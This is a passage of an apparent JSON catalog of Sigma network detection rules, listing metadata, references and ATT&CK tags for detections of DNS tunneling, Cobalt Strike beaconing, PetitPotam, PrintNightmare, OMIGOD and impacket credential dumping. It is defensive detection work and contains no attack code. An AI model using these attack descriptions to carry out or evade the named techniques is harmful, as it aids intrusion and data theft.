"logsource.category": "accounting", - "logsource.product": "cisco", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_moving_data.yml" - ], - "tags": [ - "attack.collection", - "attack.lateral_movement", - "attack.command_and_control", - "attack.exfiltration", - "attack.t1074", - "attack.t1105", - "attack.t1560.001" - ] - }, - "uuid": "5e51acb2-bcbe-435b-99c6-0e3cd5e2aa59", - "value": "Cisco Stage Data" - }, - { - "description": "Show when a monitor or a span/rspan is setup or modified", - "meta": { - "author": "Austin Clark", - "creation_date": "2019/08/11", - "falsepositive": [ - "Admins may setup new or modify old spans, or use a monitor for troubleshooting" - ], - "filename": "cisco_cli_net_sniff.yml", - "level": "medium", - "logsource.category": "accounting", - "logsource.product": "cisco", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_net_sniff.yml" - ], - "tags": [ - "attack.credential_access", - "attack.discovery", - "attack.t1040" - ] - }, - "uuid": "b9e1f193-d236-4451-aaae-2f3d2102120d", - "value": "Cisco Sniffing" - }, - { - "description": "Normally, DNS logs contain a limited amount of different dns queries for a single domain. This rule detects a high amount of queries for a single domain, which can be an indicator that DNS is used to transfer data.", - "meta": { - "author": "Patrick Bareiss", - "creation_date": "2019/04/07", - "falsepositive": [ - "Valid software, which uses dns for transferring data" - ], - "filename": "net_dns_c2_detection.yml", - "level": "high", - "logsource.category": "dns", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_c2_detection.yml", - "https://patrick-bareiss.com/detect-c2-traffic-over-dns-using-sigma/", - "https://zeltser.com/c2-dns-tunneling/" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071.004", - "attack.exfiltration", - "attack.t1048.003" - ] - }, - "uuid": "1ec4b281-aa65-46a2-bdae-5fd830ed914e", - "value": "Possible DNS Tunneling" - }, - { - "description": "Detects suspicious DNS queries to external service interaction domains often used for out-of-band interactions after successful RCE", - "meta": { - "author": "Florian Roth, Matt Kelly (list of domains)", - "creation_date": "2022/06/07", - "falsepositive": [ - "Unknown" - ], - "filename": "net_dns_external_service_interaction_domains.yml", - "level": "high", - "logsource.category": "dns", - "logsource.product": "No established product", - "refs": [ - "https://twitter.com/breakersall/status/1533493587828260866", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_external_service_interaction_domains.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "attack.reconnaissance", - "attack.t1595.002" - ] - }, - "uuid": "aff715fa-4dd5-497a-8db3-910bea555566", - "value": "DNS Query to External Service Interaction Domains" - }, - { - "description": "High DNS queries bytes amount from host per short period of time", - "meta": { - "author": "Daniil Yugoslavskiy, oscd.community", - "creation_date": "2019/10/24", - "falsepositive": [ - "Legitimate high DNS bytes out rate to domain name which should be added to whitelist" - ], - "filename": "net_dns_high_bytes_out.yml", - "level": "medium", - "logsource.category": "dns", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_high_bytes_out.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1048.003" - ] - }, - "uuid": "0f6c1bf5-70a5-4963-aef9-aab1eefb50bd", - "value": "High DNS Bytes Out" - }, - { - "description": "Extremely high rate of NULL record type DNS requests from host per short period of time. Possible result of iodine tool execution", - "meta": { - "author": "Daniil Yugoslavskiy, oscd.community", - "creation_date": "2019/10/24", - "falsepositive": [ - "Legitimate high DNS NULL requests rate to domain name which should be added to whitelist" - ], - "filename": "net_dns_high_null_records_requests_rate.yml", - "level": "medium", - "logsource.category": "dns", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_high_null_records_requests_rate.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1048.003", - "attack.command_and_control", - "attack.t1071.004" - ] - }, - "uuid": "44ae5117-9c44-40cf-9c7c-7edad385ca70", - "value": "High NULL Records Requests Rate" - }, - { - "description": "High DNS requests amount from host per short period of time", - "meta": { - "author": "Daniil Yugoslavskiy, oscd.community", - "creation_date": "2019/10/24", - "falsepositive": [ - "Legitimate high DNS requests rate to domain name which should be added to whitelist" - ], - "filename": "net_dns_high_requests_rate.yml", - "level": "medium", - "logsource.category": "dns", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_high_requests_rate.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1048.003", - "attack.command_and_control", - "attack.t1071.004" - ] - }, - "uuid": "b4163085-4001-46a3-a79a-55d8bbbc7a3a", - "value": "High DNS Requests Rate" - }, - { - "description": "Extremely high rate of TXT record type DNS requests from host per short period of time. Possible result of Do-exfiltration tool execution", - "meta": { - "author": "Daniil Yugoslavskiy, oscd.community", - "creation_date": "2019/10/24", - "falsepositive": [ - "Legitimate high DNS TXT requests rate to domain name which should be added to whitelist" - ], - "filename": "net_dns_high_txt_records_requests_rate.yml", - "level": "medium", - "logsource.category": "dns", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_high_txt_records_requests_rate.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1048.003", - "attack.command_and_control", - "attack.t1071.004" - ] - }, - "uuid": "f0a8cedc-1d22-4453-9c44-8d9f4ebd5d35", - "value": "High TXT Records Requests Rate" - }, - { - "description": "Detects suspicious DNS queries known from Cobalt Strike beacons", - "meta": { - "author": "Florian Roth", - "creation_date": "2018/05/10", - "falsepositive": [ - "Unknown" - ], - "filename": "net_dns_mal_cobaltstrike.yml", - "level": "critical", - "logsource.category": "dns", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_mal_cobaltstrike.yml", - "https://www.icebrg.io/blog/footprints-of-fin7-tracking-actor-patterns", - "https://www.sekoia.io/en/hunting-and-detecting-cobalt-strike/" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071.004" - ] - }, - "uuid": "2975af79-28c4-4d2f-a951-9095f229df29", - "value": "Cobalt Strike DNS Beaconing" - }, - { - "description": "Detects suspicious DNS queries to Monero mining pools", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/10/24", - "falsepositive": [ - "Legitimate crypto coin mining" - ], - "filename": "net_dns_pua_cryptocoin_mining_xmr.yml", - "level": "high", - "logsource.category": "dns", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_pua_cryptocoin_mining_xmr.yml", - "https://www.nextron-systems.com/2021/10/24/monero-mining-pool-fqdns/" - ], - "tags": [ - "attack.impact", - "attack.t1496", - "attack.t1567" - ] - }, - "uuid": "b593fd50-7335-4682-a36c-4edcb68e4641", - "value": "Monero Crypto Coin Mining Pool Lookup" - }, - { - "description": "Detects suspicious DNS queries using base64 encoding", - "meta": { - "author": "Florian Roth", - "creation_date": "2018/05/10", - "falsepositive": [ - "Unknown" - ], - "filename": "net_dns_susp_b64_queries.yml", - "level": "medium", - "logsource.category": "dns", - "logsource.product": "No established product", - "refs": [ - "https://github.com/krmaxwell/dns-exfiltration", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_susp_b64_queries.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1048.003", - "attack.command_and_control", - "attack.t1071.004" - ] - }, - "uuid": "4153a907-2451-4e4f-a578-c52bb6881432", - "value": "Suspicious DNS Query with B64 Encoded String" - }, - { - "description": "Detects suspicious DNS queries to api.telegram.org used by Telegram Bots of any kind", - "meta": { - "author": "Florian Roth", - "creation_date": "2018/06/05", - "falsepositive": [ - "Legitimate use of Telegram bots in the company" - ], - "filename": "net_dns_susp_telegram_api.yml", - "level": "medium", - "logsource.category": "dns", - "logsource.product": "No established product", - "refs": [ - "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/", - "https://core.telegram.org/bots/faq", - "https://researchcenter.paloaltonetworks.com/2018/03/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_susp_telegram_api.yml", - "https://blog.malwarebytes.com/threat-analysis/2016/11/telecrypt-the-ransomware-abusing-telegram-api-defeated/" - ], - "tags": [ - "attack.command_and_control", - "attack.t1102.002" - ] - }, - "uuid": "c64c5175-5189-431b-a55e-6d9882158251", - "value": "Telegram Bot API Request" - }, - { - "description": "Detects strings used in command execution in DNS TXT Answer", - "meta": { - "author": "Markus Neis", - "creation_date": "2018/08/08", - "falsepositive": [ - "Unknown" - ], - "filename": "net_dns_susp_txt_exec_strings.yml", - "level": "high", - "logsource.category": "dns", - "logsource.product": "No established product", - "refs": [ - "https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Backdoors/DNS_TXT_Pwnage.ps1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_susp_txt_exec_strings.yml", - "https://twitter.com/stvemillertime/status/1024707932447854592" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071.004" - ] - }, - "uuid": "8ae51330-899c-4641-8125-e39f2e07da72", - "value": "DNS TXT Answer with Possible Execution Strings" - }, - { - "description": "Detects wannacry killswitch domain dns queries", - "meta": { - "author": "Mike Wade", - "creation_date": "2020/09/16", - "falsepositive": [ - "Analyst testing" - ], - "filename": "net_dns_wannacry_killswitch_domain.yml", - "level": "high", - "logsource.category": "dns", - "logsource.product": "No established product", - "refs": [ - "https://www.fireeye.com/blog/products-and-services/2017/05/wannacry-ransomware-campaign.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_wannacry_killswitch_domain.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071.001" - ] - }, - "uuid": "3eaf6218-3bed-4d8a-8707-274096f12a18", - "value": "Wannacry Killswitch Domain" - }, - { - "description": "Detects communication to C2 servers mentioned in the operational notes of the ShadowBroker leak of EquationGroup C2 tools", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/04/15", - "falsepositive": [ - "Unknown" - ], - "filename": "net_firewall_apt_equationgroup_c2.yml", - "level": "high", - "logsource.category": "firewall", - "logsource.product": "No established product", - "refs": [ - "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/firewall/net_firewall_apt_equationgroup_c2.yml", - "https://medium.com/@msuiche/the-nsa-compromised-swift-network-50ec3000b195" - ], - "tags": [ - "attack.command_and_control", - "attack.g0020", - "attack.t1041" - ] - }, - "uuid": "881834a4-6659-4773-821e-1c151789d873", - "value": "Equation Group C2 Communication" - }, - { - "description": "High DNS queries bytes amount from host per short period of time", - "meta": { - "author": "Daniil Yugoslavskiy, oscd.community", - "creation_date": "2019/10/24", - "falsepositive": [ - "Legitimate high DNS bytes out rate to domain name which should be added to whitelist" - ], - "filename": "net_firewall_high_dns_bytes_out.yml", - "level": "medium", - "logsource.category": "firewall", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/firewall/net_firewall_high_dns_bytes_out.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1048.003" - ] - }, - "uuid": "3b6e327d-8649-4102-993f-d25786481589", - "value": "High DNS Bytes Out" - }, - { - "description": "High DNS requests amount from host per short period of time", - "meta": { - "author": "Daniil Yugoslavskiy, oscd.community", - "creation_date": "2019/10/24", - "falsepositive": [ - "Legitimate high DNS requests rate to domain name which should be added to whitelist" - ], - "filename": "net_firewall_high_dns_requests_rate.yml", - "level": "medium", - "logsource.category": "firewall", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/firewall/net_firewall_high_dns_requests_rate.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1048.003", - "attack.command_and_control", - "attack.t1071.004" - ] - }, - "uuid": "51186749-7415-46be-90e5-6914865c825a", - "value": "High DNS Requests Rate" - }, - { - "description": "Detects many failed connection attempts to different ports or hosts", - "meta": { - "author": "Thomas Patzke", - "creation_date": "2017/02/19", - "falsepositive": [ - "Inventarization systems", - "Vulnerability scans" - ], - "filename": "net_firewall_susp_network_scan_by_ip.yml", - "level": "medium", - "logsource.category": "firewall", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/firewall/net_firewall_susp_network_scan_by_ip.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1046" - ] - }, - "uuid": "4601eaec-6b45-4052-ad32-2d96d26ce0d8", - "value": "Network Scans Count By Destination IP" - }, - { - "description": "Detects many failed connection attempts to different ports or hosts", - "meta": { - "author": "Thomas Patzke", - "creation_date": "2017/02/19", - "falsepositive": [ - "Inventarization systems", - "Vulnerability scans" - ], - "filename": "net_firewall_susp_network_scan_by_port.yml", - "level": "medium", - "logsource.category": "firewall", - "logsource.product": "No established product", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/firewall/net_firewall_susp_network_scan_by_port.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1046" - ] - }, - "uuid": "fab0ddf0-b8a9-4d70-91ce-a20547209afb", - "value": "Network Scans Count By Destination Port" - }, - { - "description": "Domain user and group enumeration via network reconnaissance.\nSeen in APT 29 and other common tactics and actors. Detects a set of RPC (remote procedure calls) used to enumerate a domain controller.\nThe rule was created based off the datasets and hackathon from https://github.com/OTRF/detection-hackathon-apt29\n", - "meta": { - "author": "Nate Guagenti (@neu5ron), Open Threat Research (OTR)", - "creation_date": "2020/05/03", - "falsepositive": [ - "Devices that may do authentication like a VPN or a firewall that looksup IPs to username", - "False positives depend on scripts and administrative tools used in the monitored environment" - ], - "filename": "zeek_dce_rpc_domain_user_enumeration.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "zeek", - "refs": [ - "https://github.com/OTRF/detection-hackathon-apt29/issues/37", - "https://github.com/OTRF/detection-hackathon-apt29", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_domain_user_enumeration.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1087.002", - "attack.t1082" - ] - }, - "uuid": "66a0bdc6-ee04-441a-9125-99d2eb547942", - "value": "Domain User Enumeration Network Recon 01" - }, - { - "description": "Windows DCE-RPC functions which indicate an execution techniques on the remote system. All credit for the Zeek mapping of the suspicious endpoint/operation field goes to MITRE", - "meta": { - "author": "@neu5ron, SOC Prime", - "creation_date": "2020/03/19", - "falsepositive": [ - "Windows administrator tasks or troubleshooting", - "Windows management scripts or software" - ], - "filename": "zeek_dce_rpc_mitre_bzar_execution.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "zeek", - "refs": [ - "https://github.com/mitre-attack/bzar#indicators-for-attck-execution", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_mitre_bzar_execution.yml" - ], - "tags": [ - "attack.execution", - "attack.t1047", - "attack.t1053.002", - "attack.t1569.002" - ] - }, - "uuid": "b640c0b8-87f8-4daa-aef8-95a24261dd1d", - "value": "MITRE BZAR Indicators for Execution" - }, - { - "description": "Windows DCE-RPC functions which indicate a persistence techniques on the remote system. All credit for the Zeek mapping of the suspicious endpoint/operation field goes to MITRE.", - "meta": { - "author": "@neu5ron, SOC Prime", - "creation_date": "2020/03/19", - "falsepositive": [ - "Windows administrator tasks or troubleshooting", - "Windows management scripts or software" - ], - "filename": "zeek_dce_rpc_mitre_bzar_persistence.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "zeek", - "refs": [ - "https://github.com/mitre-attack/bzar#indicators-for-attck-persistence", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_mitre_bzar_persistence.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.004" - ] - }, - "uuid": "53389db6-ba46-48e3-a94c-e0f2cefe1583", - "value": "MITRE BZAR Indicators for Persistence" - }, - { - "description": "Detects usage of the windows RPC library Encrypting File System Remote Protocol (MS-EFSRPC). Variations of this RPC are used within the attack refereed to as PetitPotam.\nThe usage of this RPC function should be rare if ever used at all.\nThus usage of this function is uncommon enough that any usage of this RPC function should warrant further investigation to determine if it is legitimate.\n View surrounding logs (within a few minutes before and after) from the Source IP to. Logs from from the Source IP would include dce_rpc, smb_mapping, smb_files, rdp, ntlm, kerberos, etc..'\n", - "meta": { - "author": "@neu5ron, @Antonlovesdnb, Mike Remen", - "creation_date": "2021/08/17", - "falsepositive": [ - "Uncommon but legitimate windows administrator or software tasks that make use of the Encrypting File System RPC Calls. Verify if this is common activity (see description)." - ], - "filename": "zeek_dce_rpc_potential_petit_potam_efs_rpc_call.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "zeek", - "refs": [ - "https://msrc.microsoft.com/update-guide/vulnerability/ADV210003", - "https://vx-underground.org/archive/Symantec/windows-vista-network-attack-07-en.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_potential_petit_potam_efs_rpc_call.yml", - "https://threatpost.com/microsoft-petitpotam-poc/168163/", - "https://github.com/topotam/PetitPotam/blob/d83ac8f2dd34654628c17490f99106eb128e7d1e/PetitPotam/PetitPotam.cpp" - ], - "tags": [ - "attack.t1557.001", - "attack.t1187" - ] - }, - "uuid": "4096842a-8f9f-4d36-92b4-d0b2a62f9b2a", - "value": "Potential PetitPotam Attack Via EFS RPC Calls" - }, - { - "description": "Detects the remote installation of a print driver which is possible indication of the exploitation of PrintNightmare (CVE-2021-1675).\nThe occurrence of print drivers being installed remotely via RPC functions should be rare, as print drivers are normally installed locally and or through group policy.\n", - "meta": { - "author": "@neu5ron (Nate Guagenti)", - "creation_date": "2021/08/23", - "falsepositive": [ - "Legitimate remote alteration of a printer driver." - ], - "filename": "zeek_dce_rpc_printnightmare_print_driver_install.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "zeek", - "refs": [ - "https://old.zeek.org/zeekweek2019/slides/bzar.pdf", - "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_printnightmare_print_driver_install.yml", - "https://www.crowdstrike.com/blog/cve-2021-1678-printer-spooler-relay-security-advisory/", - "https://github.com/corelight/CVE-2021-1675", - "https://github.com/zeek/zeek/blob/691b099de13649d6576c7b9d637f8213ff818832/scripts/base/protocols/dce-rpc/consts.zeek", - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-par/93d1915d-4d9f-4ceb-90a7-e8f2a59adc29" - ], - "tags": [ - "attack.execution", - "cve.2021.1678", - "cve.2021.1675", - "cve.2021.34527" - ] - }, - "uuid": "7b33baef-2a75-4ca3-9da4-34f9a15382d8", - "value": "Possible PrintNightmare Print Driver Install" - }, - { - "description": "Detects the use of the spoolss named pipe over SMB. This can be used to trigger the authentication via NTLM of any machine that has the spoolservice enabled.", - "meta": { - "author": "OTR (Open Threat Research), @neu5ron", - "creation_date": "2018/11/28", - "falsepositive": [ - "Domain Controllers that are sometimes, commonly although should not be, acting as printer servers too" - ], - "filename": "zeek_dce_rpc_smb_spoolss_named_pipe.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "zeek", - "refs": [ - "https://twitter.com/_dirkjan/status/1309214379003588608", - "https://dirkjanm.io/a-different-way-of-abusing-zerologon/", - "https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_smb_spoolss_named_pipe.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.002" - ] - }, - "uuid": "bae2865c-5565-470d-b505-9496c87d0c30", - "value": "SMB Spoolss Name Piped Usage" - }, - { - "description": "Detects the presence of default Cobalt Strike certificate in the HTTPS traffic", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2021/06/23", - "falsepositive": [ - "Unknown" - ], - "filename": "zeek_default_cobalt_strike_certificate.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "zeek", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_default_cobalt_strike_certificate.yml", - "https://sergiusechel.medium.com/improving-the-network-based-detection-of-cobalt-strike-c2-servers-in-the-wild-while-reducing-the-6964205f6468" - ], - "tags": [ - "attack.command_and_control", - "attack.s0154" - ] - }, - "uuid": "7100f7e3-92ce-4584-b7b7-01b40d3d4118", - "value": "Default Cobalt Strike Certificate" - }, - { - "description": "Identifies clients that may be performing DNS lookups associated with common currency mining pools.", - "meta": { - "author": "Saw Winn Naung, Azure-Sentinel, @neu5ron", - "creation_date": "2021/08/19", - "falsepositive": [ - "A DNS lookup does not necessarily mean a successful attempt, verify a) if there was a response using the zeek answers field, if there was then verify the connections (conn.log) to those IPs. b) verify if HTTP, SSL, or TLS activity to the domain that was queried. http.log field is 'host' and ssl/tls is 'server_name'." - ], - "filename": "zeek_dns_mining_pools.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "zeek", - "refs": [ - "https://github.com/Azure/Azure-Sentinel/blob/fa0411f9424b6c47b4d5a20165e4f1b168c1f103/Detections/ASimDNS/imDNS_Miners.yaml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dns_mining_pools.yml" - ], - "tags": [ - "attack.t1569.002", - "attack.t1496" - ] - }, - "uuid": "bf74135c-18e8-4a72-a926-0e4f47888c19", - "value": "DNS Events Related To Mining Pools" - }, - { - "description": "NKN is a networking service using blockchain technology to support a decentralized network of peers. While there are legitimate uses for it, it can also be used as a C2 channel. This rule looks for a DNS request to the ma>", - "meta": { - "author": "Michael Portera (@mportatoes)", - "creation_date": "2022/04/21", - "falsepositive": [ - "Unknown" - ], - "filename": "zeek_dns_nkn.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "zeek", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dns_nkn.yml", - "https://github.com/Maka8ka/NGLite", - "https://github.com/nknorg/nkn-sdk-go", - "https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/" - ], - "tags": [ - "attack.command_and_control" - ] - }, - "uuid": "fa7703d6-0ee8-4949-889c-48c84bc15b6f", - "value": "New Kind of Network (NKN) Detection" - }, - { - "description": "The DNS Z flag is bit within the DNS protocol header that is, per the IETF design, meant to be used reserved (unused).\nAlthough recently it has been used in DNSSec, the value being set to anything other than 0 should be rare.\nOtherwise if it is set to non 0 and DNSSec is being used, then excluding the legitimate domains is low effort and high reward.\nDetermine if multiple of these files were accessed in a short period of time to further enhance the possibility of seeing if this was a one off or the possibility of larger sensitive file gathering.\nThis Sigma query is designed to accompany the Corelight Threat Hunting Guide, which can be found here: https://www3.corelight.com/corelights-introductory-guide-to-threat-hunting-with-zeek-bro-logs'\n", - "meta": { - "author": "@neu5ron, SOC Prime Team, Corelight", - "creation_date": "2021/05/04", - "falsepositive": [ - "Internal or legitimate external domains using DNSSec. Verify if these are legitimate DNSSec domains and then exclude them.", - "If you work in a Public Sector then it may be good to exclude things like endswith \".edu\", \".gov\" and or \".mil\"" - ], - "filename": "zeek_dns_susp_zbit_flag.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "zeek", - "refs": [ - "https://tdm.socprime.com/tdm/info/eLbyj4JjI15v#sigma", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dns_susp_zbit_flag.yml", - "https://www.netresec.com/?page=Blog&month=2021-01&post=Finding-Targeted-SUNBURST-Victims-with-pDNS", - "https://twitter.com/neu5ron/status/1346245602502443009", - "https://tools.ietf.org/html/rfc2929#section-2.1" - ], - "tags": [ - "attack.t1095", - "attack.t1571", - "attack.command_and_control" - ] - }, - "uuid": "ede05abc-2c9e-4624-9944-9ff17fdc0bf5", - "value": "Suspicious DNS Z Flag Bit Set" - }, - { - "description": "Identifies IPs performing DNS lookups associated with common Tor proxies.", - "meta": { - "author": "Saw Winn Naung , Azure-Sentinel", - "creation_date": "2021/08/15", - "falsepositive": [ - "Unknown" - ], - "filename": "zeek_dns_torproxy.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "zeek", - "refs": [ - "https://github.com/Azure/Azure-Sentinel/blob/f99542b94afe0ad2f19a82cc08262e7ac8e1428e/Detections/ASimDNS/imDNS_TorProxies.yaml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dns_torproxy.yml" - ], - "tags": [ - "attack.t1048" - ] - }, - "uuid": "a8322756-015c-42e7-afb1-436e85ed3ff5", - "value": "DNS TOR Proxies" - }, - { - "description": "Detects executable access via webdav6. Can be seen in APT 29 such as from the emulated APT 29 hackathon https://github.com/OTRF/detection-hackathon-apt29/", - "meta": { - "author": "SOC Prime, Adam Swan", - "creation_date": "2020/05/01", - "falsepositive": [ - "Unknown" - ], - "filename": "zeek_http_executable_download_from_webdav.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "zeek", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_http_executable_download_from_webdav.yml", - "https://github.com/OTRF/detection-hackathon-apt29", - "http://carnal0wnage.attackresearch.com/2012/06/webdav-server-to-download-custom.html" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ] - }, - "uuid": "aac2fd97-bcba-491b-ad66-a6edf89c71bf", - "value": "Executable from Webdav" - }, - { - "description": "Detects the exploitation of OMIGOD (CVE-2021-38647) which allows remote execute (RCE) commands as root with just a single unauthenticated HTTP request.\nVerify, successful, exploitation by viewing the HTTP client (request) body to see what was passed to the server (using PCAP).\nWithin the client body is where the code execution would occur. Additionally, check the endpoint logs to see if suspicious commands or activity occurred within the timeframe of this HTTP request.\n", - "meta": { - "author": "Nate Guagenti (neu5ron)", - "creation_date": "2021/09/20", - "falsepositive": [ - "Exploits that were attempted but unsuccessful.", - "Scanning attempts with the abnormal use of the HTTP POST method with no indication of code execution within the HTTP Client (Request) body. An example would be vulnerability scanners trying to identify unpatched versions while not actually exploiting the vulnerability. See description for investigation tips." - ], - "filename": "zeek_http_omigod_no_auth_rce.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "zeek", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_http_omigod_no_auth_rce.yml", - "https://twitter.com/neu5ron/status/1438987292971053057?s=20", - "https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure" - ], - "tags": [ - "attack.privilege_escalation", - "attack.initial_access", - "attack.execution", - "attack.lateral_movement", - "attack.t1068", - "attack.t1190", - "attack.t1203", - "attack.t1021.006", - "attack.t1210" - ] - }, - "uuid": "ab6b1a39-a9ee-4ab4-b075-e83acf6e346b", - "value": "OMIGOD HTTP No Authentication RCE" - }, - { - "description": "A General detection for WebDav user-agent being used to PUT files on a WebDav network share. This could be an indicator of exfiltration.", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/05/02", - "falsepositive": [ - "Unknown" - ], - "filename": "zeek_http_webdav_put_request.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "zeek", - "refs": [ - "https://github.com/OTRF/detection-hackathon-apt29/issues/17", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_http_webdav_put_request.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1048.003" - ] - }, - "uuid": "705072a5-bb6f-4ced-95b6-ecfa6602090b", - "value": "WebDav Put Request" - }, - { - "description": "Detects connections from routable IPs to an RDP listener - which is indicative of a publicly-accessible RDP service.", - "meta": { - "author": "Josh Brower @DefensiveDepth", - "creation_date": "2020/08/22", - "falsepositive": [ - "Although it is recommended to NOT have RDP exposed to the internet, verify that this is a) allowed b) the server has not already been compromised via some brute force or remote exploit since it has been exposed to the internet. Work to secure the server if you are unable to remove it from being exposed to the internet." - ], - "filename": "zeek_rdp_public_listener.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "zeek", - "refs": [ - "https://attack.mitre.org/techniques/T1021/001/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_rdp_public_listener.yml" - ], - "tags": [ - "attack.t1021.001" - ] - }, - "uuid": "1fc0809e-06bf-4de3-ad52-25e5263b7623", - "value": "Publicly Accessible RDP Service" - }, - { - "description": "Detects remote task creation via at.exe or API interacting with ATSVC namedpipe", - "meta": { - "author": "Samir Bousseaden, @neu5rn", - "creation_date": "2020/04/03", - "falsepositive": [ - "Unknown" - ], - "filename": "zeek_smb_converted_win_atsvc_task.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "zeek", - "refs": [ - "https://github.com/neo23x0/sigma/blob/d42e87edd741dd646db946f30964f331f92f50e6/rules/windows/builtin/win_atsvc_task.yml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_atsvc_task.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.persistence", - "car.2013-05-004", - "car.2015-04-001", - "attack.t1053.002" - ] - }, - "uuid": "dde85b37-40cd-4a94-b00c-0b8794f956b5", - "value": "Remote Task Creation via ATSVC Named Pipe - Zeek" - }, - { - "description": "Detect AD credential dumping using impacket secretdump HKTL. Based on the SIGMA rules/windows/builtin/win_impacket_secretdump.yml", - "meta": { - "author": "Samir Bousseaden, @neu5ron", - "creation_date": "2020/03/19", - "falsepositive": [ - "Unknown" - ], - "filename": "zeek_smb_converted_win_impacket_secretdump.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "zeek", - "refs": [ - 